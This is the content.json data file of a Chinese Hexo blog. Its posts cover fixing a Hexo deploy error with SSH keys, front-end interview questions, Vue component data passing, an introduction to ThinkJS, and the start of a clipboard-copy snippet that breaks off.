-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 45.5 KB
/
content.json
1
[{"title":"Hexo遇到的一些坑","date":"2018-03-06T12:10:00.000Z","path":"2018/03/06/20180307Hexo遇到的一些坑/","text":"起因今天hexo更新博客时，hexo d 命令部署博客发生了下面的异常： 123456789101112131415161718Fatal: TaskCanceledException encountered. ▒▒ȡ▒▒һ▒▒▒▒▒▒bash: /dev/tty: No such device or addresserror: failed to execute prompt script (exit code 1)fatal: could not read Username for 'https://github.com': Invalid argumentFATAL Something's wrong. Maybe you can find the solution here: http://hexo.io/docs/troubleshooting.htmlError: Fatal: TaskCanceledException encountered. ��ȡ��һ��������bash: /dev/tty: No such device or addresserror: failed to execute prompt script (exit code 1)fatal: could not read Username for 'https://github.com': Invalid argument at ChildProcess.<anonymous> (E:\\gitRep\\hellofriday.github.com\\node_modules\\hexo-util\\lib\\spawn.js:37:17) at emitTwo (events.js:87:13) at ChildProcess.emit (events.js:172:7) at ChildProcess.cp.emit (E:\\gitRep\\hellofriday.github.com\\node_modules\\cross-spawn\\lib\\enoent.js:40:29) at maybeClose (internal/child_process.js:818:16) at Process.ChildProcess._handle.onexit (internal/child_process.js:211:5) 解决在hexo的github issues找着了一个和上面发生的错误相似的issueProblem with deployment on GitHub #1495, 受到歪果仁朋友的启发，将我的git仓库地址改为ssh格式的路径。 _config.yml文件中配置的git远程仓库地址使用的是https路径：1234deploy: type: git repository: https://github.com/zhangshiyu666/zhangshiyu666.github.io.git branch: master 修改为：1234deploy: type: git repository: [email protected]:zhangshiyu666/zhangshiyu666.github.io.git branch: master 本以为大功告成，执行 hexo d 又出现个新的问题：12345678910111213141516171819202122Permission denied (publickey).fatal: Could not read from remote repository.Please make sure you have the correct access rightsand the repository exists.FATAL Something's wrong. Maybe you can find the solution here: http://hexo.io/do cs/troubleshooting.htmlError: Warning: Permanently added 'github.com,192.30.253.112' (RSA) to the list of known hosts.Permission denied (publickey).fatal: Could not read from remote repository.Please make sure you have the correct access rightsand the repository exists. at ChildProcess.<anonymous> (D:\\03-Practice\\blog\\hexo\\node_modules\\hexo-util \\lib\\spawn.js:37:17) at emitTwo (events.js:106:13) at ChildProcess.emit (events.js:191:7) at ChildProcess.cp.emit (D:\\03-Practice\\blog\\hexo\\node_modules\\cross-spawn\\l ib\\enoent.js:40:29) at maybeClose (internal/child_process.js:877:16) at Socket.<anonymous> (internal/child_process.js:334:11) at emitOne (events.js:96:13) at Socket.emit (events.js:188:7) at Pipe._handle.close [as _onclose] (net.js:498:12) 目测是Git权限问题，只能度娘找解决方案，搜了一番据说是Git SSH Key的问题，去Git上一看果然 SSH key 没有配置，奇怪的很早之前 创建博客的时候有配置 SSH Key，不知道现在为啥就消失了呢，还望知道的大神赐教。 下面附上配置 SSH Key的步骤： 1.新建 SSH key，在git shell(或者git bash等命令窗口)，注意大小1$ ssh-keygen -t rsa -C "邮箱名" 之后会出现12Generating public/private rsa key pair.Enter file in which to save the key (/c/Users/admin/.ssh/id_rsa): 上面大概意思应该是指定rsa文件存储位置，不指定直接回车即可，默认保存在(window系统) C:\\Users\\你电脑用户名.ssh\\上面直接回车后出现：12Enter passphrase (empty for no passphrase):Enter same passphrase again: 要求你输入密码，这个密码会在你提交项目时使用，如果为空的话提交项目时则不用输入。这个设置是防止别人往你的项目里提交内容。 注：输入密码的时候没有*字样，git bash 页没任何显示，直接输入就好。 输入完密码后：12345678910111213141516Your identification has been saved in /c/Users/admin/.ssh/id_rsa.Your public key has been saved in /c/Users/admin/.ssh/id_rsa.pub.The key fingerprint is:SHA256:pcFCOkAEDB5Hf+5IkvhylFc2r3eVWOHD1DQdxGiLBX4 [email protected] key's randomart image is:+---[RSA 2048]----+|===o . ..o*=o||..o..o . . ++.oo|| . o..=o ..+E. || . o.=.o+ .+.o || . = o .S. . o || o + o . . || . o . o . . || o . . || |+----[SHA256]-----+ 上面结束后，密钥已经成功生成。 2接下来在github上添加SSH key： 打开本地文件：id_rsa.pub（文件路径可以在上一步SSH生成成功后看到路径，比如我的是c/Users/admin/.ssh/id_rsa.pub），可以将这个文件在编辑器中打开，然后全选复制。 登陆github，点击头像位置处 Settings ——> SSH and GPG keys ——> New SSH key，点击新建SSH key。 将步骤1中复制的内容粘贴在key文本框里，title可以不用填。 3测试设置是否成功1$ ssh -T [email protected] 出现下面结果则成功12Hi username! You've successfully authenticated, but GitHub does not provide shell access. 上面也有可能出现一些提示比如输入之前设置的密码，或者一些确认 yes/no，直接yes 即可。 配置完SSH 再次12$ hexo g$ hexo d ok成功； Hexo常见问题整理记录hexo升级后导致的，需要安装插件 npm install hexo-deployer-git –save ，如果安装插件未解决 回到页面顶部的解决里尝试下面方案123456INFO Deploying: gitINFO Clearing .deploy_git folder...INFO Copying files from public folder...fatal: Not a git repository (or any of the parent directories): .gitFATAL Something's wrong. Maybe you can find the solution here: http://hexo.io/docs/troubleshooting.htmlError: fatal: Not a git repository (or any of the parent directories): .git","tags":[{"name":"hexo","slug":"hexo","permalink":"http://yoursite.com/tags/hexo/"},{"name":"代码片段","slug":"代码片段","permalink":"http://yoursite.com/tags/代码片段/"},{"name":"git","slug":"git","permalink":"http://yoursite.com/tags/git/"}]},{"title":"整理总结的一些前端面试题","date":"2018-02-01T01:15:00.000Z","path":"2018/02/01/mianshi/","text":"面试虐我千百遍，我待面试如初恋 每次面试的知识点你有整理吗 HTML面试题1.XHTML和HTML有什么区别 HTML是一种基本的WEB网页设计语言，XHTML是一个基于XML的置标语言最主要的不同： XHTML 元素必须被正确地嵌套。 XHTML 元素必须被关闭。 标签名必须用小写字母。 XHTML 文档必须拥有根元素。 2.前端页面有哪三层构成，分别是什么?作用是什么? 结构层 Html 表示层 CSS 行为层 js; 3.你做的页面在哪些流览器测试过?这些浏览器的内核分别是什么? Ie(Ie内核) 火狐（Gecko） 谷歌（webkit,Blink） opera(Presto),Safari(wbkit) 4.什么是语义化的HTML? 直观的认识标签 对于搜索引擎的抓取有好处，用正确的标签做正确的事情！ html语义化就是让页面的内容结构化，便于对浏览器、搜索引擎解析；在没有样式CCS情况下也以一种文档格式显示，并且是容易阅读的。 搜索引擎的爬虫依赖于标记来确定上下文和各个关键字的权重，利于 SEO。 使阅读源代码的人对网站更容易将网站分块，便于阅读维护理解。 5.HTML5 为什么只需要写 !DOCTYPE HTML？ HTML5 不基于 SGML，因此不需要对DTD进行引用，但是需要doctype来规范浏览器的行为（让浏览器按照它们应该的方式来运行）；而HTML4.01基于SGML,所以需要对DTD进行引用，才能告知浏览器文档所使用的文档类型。 6.Doctype作用？标准模式与兼容模式各有什么区别? !DOCTYPE声明位于位于HTML文档中的第一行，处于html 标签之前。告知浏览器的解析器用什么文档标准解析这个文档。DOCTYPE不存在或格式不正确会导致文档以兼容模式呈现。 标准模式的排版 和JS运作模式都是以该浏览器支持的最高标准运行。在兼容模式中，页面以宽松的向后兼容的方式显示,模拟老式浏览器的行为以防止站点无法工作。 7.html5有哪些新特性、移除了那些元素？如何处理HTML5新标签的浏览器兼容问题？如何区分 HTML 和HTML5？ HTML5 现在已经不是 SGML 的子集，主要是关于图像，位置，存储，多任务等功能的增加。 绘画 canvas 用于媒介回放的 video 和 audio 元素 本地离线存储 localStorage 长期存储数据，浏览器关闭后数据不丢失； sessionStorage 的数据在浏览器关闭后自动删除 语意化更好的内容元素，比如 article、footer、header、nav、section 表单控件，calendar、date、time、email、url、search 新的技术webworker, websockt, Geolocation 移除的元素纯表现的元素：basefont，big，center，font, s，strike，tt，u； 对可用性产生负面影响的元素：frame，frameset，noframes；支持HTML5新标签： IE8/IE7/IE6支持通过document.createElement方法产生的标签， 可以利用这一特性让这些浏览器支持HTML5新标签， 浏览器支持新标签后，还需要添加标签默认的样式： 8.请描述一下 cookies，sessionStorage 和 localStorage 的区别？ cookie在浏览器和服务器间来回传递。 sessionStorage和localStorage不会 sessionStorage和localStorage的存储空间更大； sessionStorage和localStorage有更多丰富易用的接口； sessionStorage和localStorage各自独立的存储空间； 9.如何实现浏览器内多个标签页之间的通信? 调用localstorge、cookies等本地存储方式 CSS面试题1.简要说一下CSS的元素分类 块级元素：div,p,h1,form,ul,li; 行内元素 : span>,a,label,input,img,strong,em; 2.CSS隐藏元素的几种方法（至少说出三种） Opacity:元素本身依然占据它自己的位置并对网页的布局起作用。它也将响应用户交互; Visibility:与 opacity 唯一不同的是它不会响应任何用户交互。此外，元素在读屏软件中也会被隐藏; Display:display 设为 none 任何对该元素直接打用户交互操作都不可能生效。此外，读屏软件也不会读到元素的内容。这种方式产生的效果就像元素完全不存在; Position:不会影响布局，能让元素保持可以操作; Clip-path:clip-path 属性还没有在 IE 或者 Edge 下被完全支持。如果要在你的 clip-path 中使用外部的 SVG 文件，浏览器支持度还要低;3.CSS清除浮动的几种方法（至少两种） 使用带clear属性的空元素 使用CSS的overflow属性； 使用CSS的:after伪元素； 使用邻接元素处理； 4.CSS居中（包括水平居中和垂直居中） 内联元素居中方案 水平居中设置: 行内元素 设置 text-align:center； Flex布局 设置display:flex;justify-content:center;(灵活运用,支持Chroime，Firefox，IE9+) 垂直居中设置：1.父元素高度确定的单行文本（内联元素） 设置 height = line-height； 2.父元素高度确定的多行文本（内联元素） a:插入 table （插入方法和水平居中一样），然后设置 vertical-align:middle； b:先设置 display:table-cell 再设置 vertical-align:middle； 块级元素居中方案 水平居中设置：1.定宽块状元素 设置 左右 margin 值为 auto； 2.不定宽块状元素 a:在元素外加入 table 标签（完整的，包括 table、tbody、tr、td），该元素写在 td 内，然后设置 margin 的值为 auto； b:给该元素设置 displa:inine 方法； c:父元素设置 position:relative 和 left:50%，子元素设置 position:relative 和 left:50%； 垂直居中设置： 使用position:absolute（fixed）,设置left、top、margin-left、margin-top的属性; 利用position:fixed（absolute）属性，margin:auto这个必须不要忘记了; 利用display:table-cell属性使内容垂直居中; 使用css3的新属性transform:translate(x,y)属性; 使用:before元素; 5.写出几种IE6 BUG的解决方法 双边距BUG float引起的 使用display 3像素问题 使用float引起的 使用dislpay:inline -3px 超链接hover 点击后失效 使用正确的书写顺序 link visited hover active Ie z-index问题 给父级添加position:relative Png 透明 使用js代码 改 Min-height 最小高度 ！Important 解决’ select 在ie6下遮盖 使用iframe嵌套 为什么没有办法定义1px左右的宽度容器（IE6默认的行高造成的，使用over:hidden,zoom:0.08 line-height:1px） 6.对于SASS或是Less的了解程度？喜欢那个？ 语法介绍 7.Bootstrap了解程度 特点，排版，插件的使用; 8.页面导入样式时，使用link和@import有什么区别？ link属于XHTML标签，除了加载CSS外，还能用于定义RSS, 定义rel连接属性等作用；而@import是CSS提供的，只能用于加载CSS; 页面被加载的时，link会同时被加载，而@import引用的CSS会等到页面被加载完再加载; import是CSS2.1 提出的，只在IE5以上才能被识别，而link是XHTML标签，无兼容问题; 9.介绍一下CSS的盒子模型？ 有两种， IE 盒子模型、标准 W3C 盒子模型；IE的content部分包含了 border 和 pading;盒模型： 内容(content)、填充(padding)、边界(margin)、 边框(border). 10.CSS 选择符有哪些？哪些属性可以继承？优先级算法如何计算？ CSS3新增伪类有那些？ id选择器（ # myid） 类选择器（.myclassname） 标签选择器（div, h1, p） 相邻选择器（h1 + p） 子选择器（ul > li） 后代选择器（li a） 通配符选择器（ * ） 属性选择器（a[rel = “external”]） 伪类选择器（a: hover, li: nth – child） 可继承的样式： font-size font-family color, UL LI DL DD DT; 不可继承的样式：border padding margin width height ; 优先级就近原则，同权重情况下样式定义最近者为准; 优先级为: JavaScript !important > id > class > tagimportant 比 内联优先级高 11.CSS3有哪些新特性？ CSS3实现圆角（border-radius:8px），阴影（box-shadow:10px），对文字加特效（text-shadow、），线性渐变（gradient），旋转（transform） transform:rotate(9deg) scale(0.85,0.90) translate(0px,-30px) skew(-9deg,0deg);//旋转,缩放,定位,倾斜 增加了更多的CSS选择器 多背景 rgba JavaScript面试题1)javascript的typeof返回哪些数据类型 1object number function boolean underfind; 2)例举3种强制类型转换和2种隐式类型转换? 1强制（parseInt,parseFloat,number）隐式（== – ===）； 3.数组方法pop() push() unshift() shift() 12Push()尾部添加 pop()尾部删除;Unshift()头部添加 shift()头部删除; 4.ajax请求的时候get 和post方式的区别?12341) 一个在url后面 一个放在虚拟载体里面2) 有大小限制3) 安全问题4) 应用不同 一个是论坛等只需要请求的，一个是类似修改密码的; 5.call和apply的区别 Object.call(this,obj1,obj2,obj3) Object.apply(this,arguments) 6.ajax请求时，如何解释json数据 使用eval parse,鉴于安全性考虑 使用parse更靠谱; 7.事件委托是什么 让利用事件冒泡的原理，让自己的所触发的事件，让他的父元素代替执行！ 8.闭包是什么，有什么特性，对页面有什么影响?简要介绍你理解的闭包 闭包就是能够读取其他函数内部变量的函数。 9.添加 删除 替换 插入到某个接点的方法 obj.appendChidl() obj.innersetBefore obj.replaceChild obj.removeChild 10.说一下什么是javascript的同源策略？ 一段脚本只能读取来自于同一来源的窗口和文档的属性，这里的同一来源指的是主机名、协议和端口号的组合 11.编写一个b继承a的方法; 1234567891011function A(name){ this.name = name; this.sayHello = function(){alert(this.name+\"say Hello\")};}function B(name,id){ this.temp = A; this.temp(name); //相当于new A(); delete this.temp; this.id = id; this.checkId = function(ID){alert(this.id==ID)};} 12.如何阻止事件冒泡和默认事件 12345678910 function stopBubble(e){ if (e && e.stopPropagation) e.stopPropagation() else window.event.cancelBubble=true}return false 13.下面程序执行后弹出什么样的结果? 1234567891011121314151617181920 function fn() { this.a = 0; this.b = function() { alert(this.a) }}fn.prototype = { b: function() { this.a = 20; alert(this.a); }, c: function() { this.a = 30; alert(this.a); }}var myfn = new fn();myfn.b();myfn.c(); 14.谈谈This对象的理解。 this是js的一个关键字，随着函数使用场合不同，this的值会发生变化。 但是有一个总原则，那就是this指的是调用函数的那个对象。this一般情况下：是全局对象Global。 作为方法调用，那么this就是指这个对象 15.下面程序的结果 12345678910111213141516function fun(n,o) { console.log(o) return { fun:function(m){ return fun(m,n); } };}var a = fun(0); a.fun(1); a.fun(2); a.fun(3);var b = fun(0).fun(1).fun(2).fun(3);var c = fun(0).fun(1); c.fun(2); c.fun(3);//答案：//a: undefined,0,0,0//b: undefined,0,1,2//c: undefined,0,1,1 16.下面程序的输出结果 1234567891011 var name = 'World!';(function () { if (typeof name === 'undefined') { var name = 'Jack'; console.log('Goodbye ' + name); } else { console.log('Hello ' + name); }})(); 17.了解Node么？Node的使用场景都有哪些？ 高并发、聊天、实时消息推送 18.介绍下你最常用的一款框架 jquery,rn,angular等; 19.对于前端自动化构建工具有了解吗？简单介绍一下 Gulp,Grunt等； 20.介绍一下你了解的后端语言以及掌握程度 其它1.对Node的优点和缺点提出了自己的看法？ (优点）因为Node是基于事件驱动和无阻塞的，所以非常适合处理并发请求，因此构建在Node上的代理服务器相比其他技术实现（如Ruby）的服务器表现要好得多。此外，与Node代理服务器交互的客户端代码是由javascript语言编写的，因此客户端和服务器端都用同一种语言编写，这是非常美妙的事情。 （缺点）Node是一个相对新的开源项目，所以不太稳定，它总是一直在变，而且缺少足够多的第三方库支持。看起来，就像是Ruby/Rails当年的样子。 2.你有哪些性能优化的方法？ 减少http请求次数：CSS Sprites, JS、CSS源码压缩、图片大小控制合适；网页Gzip，CDN托管，data缓存 ，图片服务器。 前端模板 JS+数据，减少由于HTML标签导致的带宽浪费，前端用变量保存AJAX请求结果，每次操作本地变量，不用请求，减少请求次数 用innerHTML代替DOM操作，减少DOM操作次数，优化javascript性能。 当需要设置的样式很多时设置className而不是直接操作style。 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作。 避免使用CSS Expression（css表达式)又称Dynamic properties(动态属性)。 图片预加载，将样式表放在顶部，将脚本放在底部 加上时间戳。 避免在页面的主体布局中使用table，table要等其中的内容完全下载之后才会显示出来，显示div+css布局慢。对普通的网站有一个统一的思路，就是尽量向前端优化、减少数据库操作、减少磁盘IO。向前端优化指的是，在不影响功能和体验的情况下，能在浏览器执行的不要在服务端执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取得的结果不要到外部取得，本机内能取得的数据不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询。减少数据库操作指减少更新次数、缓存结果减少查询次数、将数据库执行的操作尽可能的让你的程序完成（例如join查询），减少磁盘IO指尽量不使用文件系统作为缓存、减少读写文件次数等。程序优化永远要优化慢的部分，换语言是无法“优化”的。 3.http状态码有那些？分别代表是什么意思？ 100-199 用于指定客户端应相应的某些动作。 200-299 用于表示请求成功。 300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息。 400-499 用于指出客户端的错误。 400 1、语义有误，当前请求无法被服务器理解。 401 当前请求需要用户验证 403 服务器已经理解请求，但是拒绝执行它。 500-599 用于支持服务器错误。 503 – 服务不可用 4.一个页面从输入 URL 到页面加载显示完成，这个过程中都发生了什么？（流程说的越详细越好） 查找浏览器缓存 DNS解析、查找该域名对应的IP地址、重定向（301）、发出第二个GET请求 进行HTTP协议会话 客户端发送报头(请求报头) 文档开始下载 文档树建立，根据标记请求所需指定MIME类型的文件 文件显示 浏览器这边做的工作大致分为以下几步： 加载：根据请求的URL进行域名解析，向服务器发起请求，- 接收文件（HTML、JS、CSS、图象等）。 解析：对加载到的资源（HTML、JS、CSS等）进行语法解析，建议相应的内部数据结构（比如HTML的DOM树，JS的（对象）属性表，CSS的样式规则等等） 5.你常用的开发工具是什么，为什么？ Sublime,Atom,Nodepad++; 6.说说最近最流行的一些东西吧？常去哪些网站？ Node.js、MVVM、React-native,Angular,Weex等 CSDN,Segmentfault,博客园,掘金,Stackoverflow,伯乐在线等 7.介绍下你的项目（如果有的话）？并说一下在做这个项目中运用的技术以及遇到的难题是如何解决的","tags":[{"name":"面试干货","slug":"面试干货","permalink":"http://yoursite.com/tags/面试干货/"},{"name":"知识梳理","slug":"知识梳理","permalink":"http://yoursite.com/tags/知识梳理/"}]},{"title":"vue中的组件以及数据传递","date":"2018-01-01T00:55:00.000Z","path":"2018/01/01/vue180301/","text":"1-组件化开发：我们可以很直观的将一个复杂的页面分割成若干个独立组件，每个组件包含自己的逻辑和样式，再将这些独立组件组合完成一个复杂的页面。这样既减少了逻辑复杂度，又实现了代码的重用。页面是组件的容器，组件自由组合形成完整的页面，当不需要某个组件时，或想要替换某个组件时，可以随时进行替换和删除，而不影响整个应用的运行。 2-组件化开发的好处 提高开发效率 方便重复使用 便于协同开发 更容易被管理和维护 3-VUE中组件的特点vue中一个自定义标签（不是W3C规定的标准标签如div、p等），vue就会把他看成一个组件不能光写一个自定义的标签而不赋予意义 4-组件分类 页面级组件： 一个页面是一个组件 将可复用的部分抽离出来 基础组件 全局组件：声明一次 可以在任何地方使用 局部组件：必须告诉这个组件属于谁一般写插件的时候或者很多人都要用，使用全局组件的多一些。 组件名不要带有大写，多个单词用-连接 只要组件名和定义的名字相同时可以的（首字母可以大写，中间不要有大写） html采用短横线隔开命名法 JS中转驼峰也是可以的定义全局组件 1234567891011121314Vue.component('my-handsome',{ //一个对象可以看成一个组件//在自己定义的模板中取自己data返回的数据template:'<div>{{msg}}</div>',//组件中数据必须是函数类型，返回一个实例作为组件的数据data(){return {msg:'我很英俊'}}})let vm=new Vue({el:'#app',data:{........}}) 定义局部组件局部组件使用的三部曲： 创建这个组件 注册这个组件 使用这个组件 组件是相互独立的，不能直接跨作用域(子组件不能直接使用父组件的data) vm的实例也是一个组件，自定义组件中也拥有声明周期函数 12345如果组件共用了数据，会导致同时刷新，但是组件应该是独立性的为什么会独立呢？因为data是一个函数，return 出去是一个新对象，新对象那就是一个独立的作用域。所以组件中的data要是一个函数，函数是一个作用域，return 出去一个新对象，这样就与其他组件的data不冲突是独立的了 组件理论上是可以无限嵌套的，因为vm本身就是一个组件，他里面也自定义了组件，并且自定义的组件也是一个对象， 并且和其父级一样拥有各种属性，所以其自己又可以作为“父组件”，他里面也可以放组件 123456789101112131415161718192021222324252627282930313233343536let obj={school:'zfpx'};//1.创建组件let component1={//这里的引号问题 把里面的单引号转义一下，或者使用ES6的模板字符串template:'<div @click=\"school='home'\">组件一 {{school}}</div>',data(){return obj;}};let component2={template:'<div @click=\"fn\">组件二 {{school}}</div>',data(){return obj;},methods:{fn(){//这里的this不再指向其父级vm，而是指向自己的组件console.log(this)}}} let vm=new Vue({el:'#app',//2.注册组件components:{component1:component1, //在ES6中名字一样可以只写一个,如component2那样component2,},data:{a:1}}) 组件嵌套 如果要在一个组件中使用另一个组件，先要保证使用的组件得是真实存在的， 在需要引用这个组件的实例通过components注册这个组件 组件需要在父级的模板中通过标签的形式引入 123456789101112131415161718192021222324252627282930//son中要用到grandson，所以得把grandson声明到son上面let grandson={template:'<div>grandson</div>'}; //parent中要用到儿子，所以得先把son声明到parent上面let son={template:'<div>son <grandson></grandson></div>',components:{grandson}};let parent={template:'<div>parent <son></son></div>',components:{son,}}; let vm=new Vue({el:'#app',template:'<parent></parent>',components:{parent},data:{a:1}}) 父子组件数据传递(父传子)123组件的传递：父亲 -> 儿子 -> 孙子 （属性传递）孙子 -> 儿子 -> 父亲 (事件传递) html结构123456789101112131415 <div id=\"app\"> 父亲：{{money}} <!--当前组件的属性(m)=父级的值(1)--><!--<child m=\"1\"></child>--> <!--给儿子加了一个m属性，属性对应的数据是属于父亲的，但是直接写m=\"money\",money就成了字符串了 但是我们后面的money是一个变量，所以我们就得用动态绑定:m=\"money\"的格式了如：a='1' =>得到的1是一个字符串 :a=\"1\" =>得到的1是一个数字a=\"true\" =>得到的是一个字符串\"true\" :a=\"true\" =>得到的是一个布尔 如果自定的属性是有短横线连接的写法时 m-m的话，下面用的话得用驼峰mM--><child :m=\"money\"></child></div> 父传子流程： 1.首先子组件嵌套在父组件内（结构） 2.在html中给子组件的标签中 加上自定义属性 并赋值，这个值就是要在父组件中得到的数据，既然是数据，肯定要是变量，所以我们要给这个属性前面加上:,叫做动态绑定 3.在JS中子组件里，props接收(获取)在上一步中子组件中定义的属性值 4.然后在子组件定义的模板中就可以用获取到的属性值了 12345678910111213141516171819202122232425262728293031323334353637383940//这个实例就是一个组件，parentlet vm=new Vue({el:'#app',components:{child:{//会在当前子组件上声明一个m属性，值是父亲的。(儿子通过props获取到父亲的m属性值)相当于 this.m=100//如果props是一个数组，他不能校验里面获取到的值是什么类型,把其变成一个对象，里面有几个方法如下：//props:['m','a'],props:{//校验时不能阻断代码的执行，只是警告而已m:{ //校验属性的类型，如果不带:,得到的肯定是字符串类型，只有:m=\"1\"才是数字类型1，:m=\"true\"才是布尔类型type:[String,Boolean,Function,Object,Array,Number],//如果什么都不传，会调用default,要给一个默认值,否则就是false了default:0,//此属性是必须传递的意思，但不能与default同用required:true,//自定义校验器 第一个参数是当前传递的值，返回true表示通过，false表示不通过validator(val){return val>300}}}, data(){return {n:5} //有了上面的props中的m了，就不能再让自己data（包括methods等其他对象中）中有m了，会冲突}, template:'<div>儿子：{{m}} {{n}}</div>',//如果想在child中取的值名跟parent保持一致，我们可以用computed属性；但是这样很麻烦，直接在child上设置属性的时候//设置成跟parent一样的名字就好了// computed:{// money(){return this.m}// },}},data:{money:400}}) 父子组件数据传递(子传父) 父亲绑定一些事件，儿子触发这个事件，将参数传递过去 单项数据流：(儿子不能改爸爸的数据，告诉爸爸让他改，父亲数据刷新后，儿子就刷新了)html结构123456 <div id=\"app\"> 父亲：{{money}} <!--child.$on('child-msg',things) 相当于订阅--><child :m=\"money\" @child-msg=\"things\"></child> </div> 子传父流程： 首先在父可以传子的基础上，给child一个自定义事件，并且这个自定义事件是父亲的方法 在子组件的methods中定义一个儿子的方法，并且这个方法是要传递(发射)给上一步儿子的自定义方法的，第一个参数是child上自定义的事件名，第二个参数是要传递的值 于是当子组件中的方法触发(点击、双击等等)时,父亲的方法就收到了儿子发射的方法中传递的值，然后更新自己的数据即可。123456789101112131415161718192021222324252627//这个实例就是一个组件，parentlet vm=new Vue({el:'#app',data:{money:400},methods:{//相当于发布订阅的onthings(val){this.money=val;}},components:{child:{props:['m'],template:'<div>儿子：{{m}} <button @dblclick="getMoney()">多要钱</button></div>',methods:{getMoney(){//触发自己的自定义事件，让父亲的方法执行 相当于发布this.$emit('child-msg',800)}}, }}, })","tags":[{"name":"vue","slug":"vue","permalink":"http://yoursite.com/tags/vue/"},{"name":"html5","slug":"html5","permalink":"http://yoursite.com/tags/html5/"}]},{"title":"一款使用 ES6/7 特性全新开发的 Node.js MVC 框架ThinkJS","date":"2017-01-07T13:30:00.000Z","path":"2017/01/07/test/","text":"ThinkJS 是一款使用 ES6/7 特性全新开发的 Node.js MVC 框架，使用 ES7 中async/await，或者 ES6 中的 */yield 特性彻底解决了 Node.js 中异步嵌套的问题。同时吸收了国内外众多框架的设计理念和思想，让开发 Node.js 项目更加简单、高效。 使用 ES6/7 特性来开发项目可以大大提高开发效率，是趋势所在。并且新版的 Node.js 对 ES6 特性也有了较好的支持，即使有些特性还没有支持，也可以借助 Babel 编译来支持。 特性使用 ES6/7 特性来开发项目借助 Babel 编译，可以在项目中大胆使用 ES6/7 所有的特性，无需担心哪些特性当前版本不支持。尤其是使用 async/await 或者 */yield 来解决异步回调的问题。 12345678910111213141516171819202122//user controller, home/controller/user.jsexport default class extends think.controller.base { //login action async loginAction(self){ //如果是get请求，直接显示登录页面 if(this.isGet()){ return this.display(); } //这里可以通过post方法获取所有的数据，数据已经在logic里做了校验 let data = this.post(); let md5 = think.md5("think_" + data.pwd); //用户名和加密后的密码去匹配数据库中对于的条目 let result = await this.model("user").where({name: data.name, pwd: md5}).find(); //如果未匹配到任何数据，表示用户名或者密码错误 if(think.isEmpty(result)){ return this.fail("login fail"); } //获取到用户信息后，将用户信息写入session await this.session("userInfo", result); return this.success(); }} 上面的代码我们使用了 ES6 里的 class, export, let 以及 ES7 里的 async 和 await 等特性，虽然查询数据库和写入 Session 都是异步操作，但借助 async/await，代码都是同步书写的。最后使用 Babel 进行编译，就可以稳定运行在 Node.js 的环境中了。 支持多种项目结构和多种项目环境项目支持单模块模式、普通模式、分模块模式等多种项目结构，可以满足各种项目复杂度的开发。 默认支持 development，testing 和 prodution 3 种项目环境，可以在不同的项目环境下进行不同的配置，满足在不同环境下的配置需求，同时还可以基于项目需要进行扩展。 支持丰富的数据库ThinkJS 支持 mysql, mongodb, sqlite 等常见的数据库，并且封装了很多操作数据库的接口，无需手动拼接 SQL 语句，还可以自动防止 SQL 注入等安全漏洞。同时支持事务、关联模型等高级功能。 代码自动更新ThinkJS 内置了一套代码自动更新的机制，文件修改后立即生效，不用重启 Node.js 服务，也不用借助第三方模块。 自动创建 REST 接口使用 thinkjs 命令可以自动创建 REST 接口，不用写任何的代码即可完成 REST API 的开发。如果想在 REST 接口中过滤字段或者进行权限校验，也很方便处理。 支持多种 WebSocket 库ThinkJS 支持 socket.io，sockjs 等常见的 WebSocket 库，并且对这些库进行包装，抹平各个库之间接口调用上的差异，给开发者一致的体验。 丰富的测试用例ThinkJS 含有 1500+ 的测试用例，代码覆盖率达到 95% ，每一次修改都有对应的测试用例来保障框架功能的稳定。 支持命令行调用执行定时任务ThinkJS 里的 Action除了可以响应用户的请求，同时支持在命令行下访问，借助这套机制就可以很方便的执行定时任务。 Hook 和 MiddlewareThinkJS 使用 Hook 和 Middleware 机制，可以灵活的对访问请求进行拦截处理。 详细的日志ThinkJS 内置了详细的日志功能，可以很方便的查看各种日志，方便追查问题。 HTTP 请求日志123[2015-10-12 14:10:03] [HTTP] GET /favicon.ico 200 5ms[2015-10-12 14:10:11] [HTTP] GET /zh-CN/doc.html 200 11ms[2015-10-12 14:10:11] [HTTP] GET /static/css/reset.css 200 3ms Socket 连接日志1[2015-10-12 14:13:54] [SOCKET] Connect mysql with mysql://root:[email protected]:3306 错误日志123[2015-10-12 14:15:32] [Error] Error: ER_ACCESS_DENIED_ERROR: Access denied for user "root3"@"localhost" (using password: YES)[2015-10-12 14:16:12] [Error] Error: Address already in use, port:8360. http://www.thinkjs.org/doc/error.html#EADDRINUSE 丰富的路由机制ThinkJS 支持正则路由、规则路由、静态路由等多种路由机制，并且可以基于模块来设置。可以让 URL 更加简洁的同时又不丢失性能。 支持国际化和多主题ThinkJS 使用很简单的方法就可以支持国际化和多主题等功能。 与其他框架的对比 与 express/koa 对比 express/koa 是 2 个比较简单的框架，框架本身提供的功能比较简单，项目中需要借助大量的第三方插件才能完成项目的开发，所以灵活度比较高。但使用很多第三方组件一方便提高了项目的复杂度，另一个方便第三方插件质量参差不齐，也会带来内存泄漏等风险。 koa 使用 ES6 里的 /yield 解决了异步回调的问题，但 /yield 只会是个过渡解决方案，会被 ES7 里的 async/await 所替代。 而 ThinkJS 提供了整套解决方案，每个功能都经过了严格的性能和内存泄漏等方面的测试，并且在项目中可以直接使用 ES6/7 所有的特性。 与 sails 对比sails 也是一个提供整套解决方案的 Node.js 框架，对数据库、REST API、安全方面也很多封装，使用起来比较方便。 但 sails 对异步回调的问题还没有优化，还是使用 callback 的方式，给开发带来很大的不便，导致项目中无法较好的使用 ES6/7 特性。 ThinkJS 的不足上面说了很多 ThinkJS 的优点，当然 ThinkJS 也有很多的不足。如： 框架还比较新，缺少社区等方面的支持还没有经过超大型项目的检验","tags":[{"name":"代码片段","slug":"代码片段","permalink":"http://yoursite.com/tags/代码片段/"},{"name":"js","slug":"js","permalink":"http://yoursite.com/tags/js/"},{"name":"React","slug":"React","permalink":"http://yoursite.com/tags/React/"}]},{"title":"用 JavaScript 实现点击文字复制到粘贴板","date":"2016-07-07T13:30:00.000Z","path":"2016/07/07/untils-jscopy/","text":"当点击 复制 按钮的时候, 将选中的文字复制到粘贴板上 核心代码 1234// 获取 input 元素let input = 